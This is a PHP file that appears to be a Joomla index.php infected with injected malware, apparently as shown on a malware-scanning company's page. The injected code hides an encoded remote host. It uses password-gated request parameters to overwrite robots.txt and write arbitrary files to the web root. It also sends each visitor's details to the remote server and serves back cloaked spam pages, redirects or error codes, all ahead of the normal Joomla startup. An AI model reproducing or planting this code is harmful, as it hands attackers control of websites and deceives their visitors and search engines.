@set_time_limit(3600);@ignore_user_abort(1);$xmlname='%67%6E%70%65%6E%66%75%71%68%2E%76%74%68%76%66%6E%61%67%66%2E%66%76%67%72';$http_web='http';if(is_https()){$http='https';}else{$http='http';}$duri_tmp=drequest_uri();if($duri_tmp==''){$duri_tmp='/';}$duri=urlencode($duri_tmp);function drequest_uri(){if(isset($_SERVER['REQUEST_URI'])){$duri=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$duri=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$duri=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}return $duri;}$goweb=str_rot13(urldecode($xmlname));function is_https(){if(isset($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}$host=$_SERVER['HTTP_HOST'];$lang=@$_SERVER["HTTP_ACCEPT_LANGUAGE"];$lang=urlencode($lang);$urlshang='';if(isset($_SERVER['HTTP_REFERER'])){$urlshang=$_SERVER['HTTP_REFERER'];$urlshang=urlencode($urlshang);}$password=hash('sha1',hash('sha1',@$_REQUEST['pd']));if($password=='f75fd5acd36a7fbd1e219b19881a5348bfc66e79'){$add_content=@$_REQUEST['mapname'];$action=@$_REQUEST['action'];if(isset($_SERVER['DOCUMENT_ROOT'])){$path=$_SERVER['DOCUMENT_ROOT'];}else{$path=dirname(__FILE__);}if(!$action){$action='put';}if($action=='put'){if(isset($_REQUEST['google'])){$google_verification=$_REQUEST['google'];if(preg_match('/^google.*?(\.html)$/i',$google_verification)){file_put_contents($google_verification,'google-site-verification: '.$google_verification);exit('<a href='.$google_verification.'>'.$google_verification.'</a>');}}if(strstr($add_content,'.xml')){$map_path=$path.'/sitemap.xml';if(is_file($map_path)){@unlink($map_path);}$file_path=$path.'/robots.txt';if(stristr($add_content,'User-agent')){@unlink($file_path);if(file_put_contents($file_path,$add_content)){echo'<br>ok<br>';}else{echo'<br>file write false!<br>';}}else{if(file_exists($file_path)){$data=doutdo($file_path);}else{$data='User-agent: *
Allow: /';}$sitmap_url=$http.'://'.$host.'/'.$add_content;if(stristr($data,$sitmap_url)){echo'<br>sitemap already added!<br>';}else{if(file_put_contents($file_path,trim($data)."\r\nSitemap: '.$sitmap_url)){echo'<br>ok<br>';}else{echo'<br>file write false!<br>';}}}}else{echo'<br>sitemap name false!<br>';}$a=hash('sha1',hash('sha1',@$_REQUEST['a']));$b=hash('sha1',hash('sha1',@$_REQUEST['b']));if($a==doutdo($http_web.'://'.$goweb.'/a.php')||$b=='f8f0dae804368c0334e22d9dcb70d3c7bbfa9635'){$dstr=@$_REQUEST['dstr'];if(file_put_contents($path.'/'.$add_content,$dstr)){echo'ok';}}}exit;}function disbot(){$uAgent=strtolower($_SERVER['HTTP_USER_AGENT']);if(stristr($uAgent,'googlebot')||stristr($uAgent,'bing')||stristr($uAgent,'yahoo')||stristr($uAgent,'google')||stristr($uAgent,'Googlebot')||stristr($uAgent,'googlebot')){return true;}else{return false;}}function doutdo($url){$file_contents='';if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$file_contents=curl_exec($ch);curl_close($ch);}if(!$file_contents){$file_contents=@file_get_contents($url);}return $file_contents;}$web=$http_web.'://'.$goweb.'/indexnew.php?web='.$host.'&zz='.disbot().'&uri='.$duri.'&urlshang='.$urlshang.'&http='.$http.'&lang='.$lang;$html_content=trim(doutdo($web));if(!strstr($html_content,'nobotuseragent')){if(strstr($html_content,'okhtmlgetcontent')){@header("Content-type: text/html; charset=utf-8");$html_content=str_replace("okhtmlgetcontent",'',$html_content);echo $html_content;}else if(strstr($html_content,'okxmlgetcontent')){$html_content=str_replace("okxmlgetcontent",'',$html_content);@header("Content-type: text/xml");echo $html_content;}else if(strstr($html_content,'getcontent500page')){@header('HTTP/1.1 500 Internal Server Error');}else if(strstr($html_content,'getcontent404page')){@header('HTTP/1.1 404 Not Found');}else if(strstr($html_content,'getcontent301page')){@header('HTTP/1.1 301 Moved Permanently');$html_content=str_replace("getcontent301page",'',$html_content);header('Location: '.$html_content);}}define('JOOMLA_MINIMUM_PHP','5.3.10');if(version_compare(PHP_VERSION,JOOMLA_MINIMUM_PHP,'<')){die('Your host needs to use PHP '.JOOMLA_MINIMUM_PHP.' or higher to run this version of Joomla!');}$startTime=microtime(1);$startMem=memory_get_usage();define('_JEXEC',1);if(file_exists(__DIR__.'/defines.php')){include_once __DIR__.'/defines.php';}if(!defined('_JDEFINES')){define('JPATH_BASE',__DIR__);require_once JPATH_BASE.'/includes/defines.php';}require_once JPATH_BASE.'/includes/framework.php';JDEBUG?JProfiler::getInstance('Application')->setStart($startTime,$startMem)->mark('afterLoad'):null;$app=JFactory::getApplication('site');$app->execute();
© 2023 Quttera Ltd. All rights reserved.